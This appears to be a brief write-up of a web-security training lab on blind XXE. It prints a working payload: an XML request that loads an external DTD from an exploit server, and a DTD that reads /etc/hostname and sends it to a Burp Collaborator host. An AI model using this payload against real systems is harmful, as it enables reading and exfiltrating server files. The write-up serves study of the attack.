BACKGROUND

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file.

EXPLOITATION

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a2c00e1043eab7481787577015900fb.exploit-server.net/exploit"> %xxe;]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

We call the external entity using the dtd located on the exploit server, the exploit server url serves this code which uses burp collaborator subdomain

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://t71formphf2gp78qtjqmf48r0i69uzio.oastify.com/?x=%file;'>">
%eval;
%exfil;

XML parameter entity = "variable" first we declare the variable file that will contain the contents of /etc/hostname then we declare a dynamic variable which contains another variable that makes a request to the burp collab subdomain with a the contents of the file variable declared before, so we can obtain the exfiltrated data with the logs.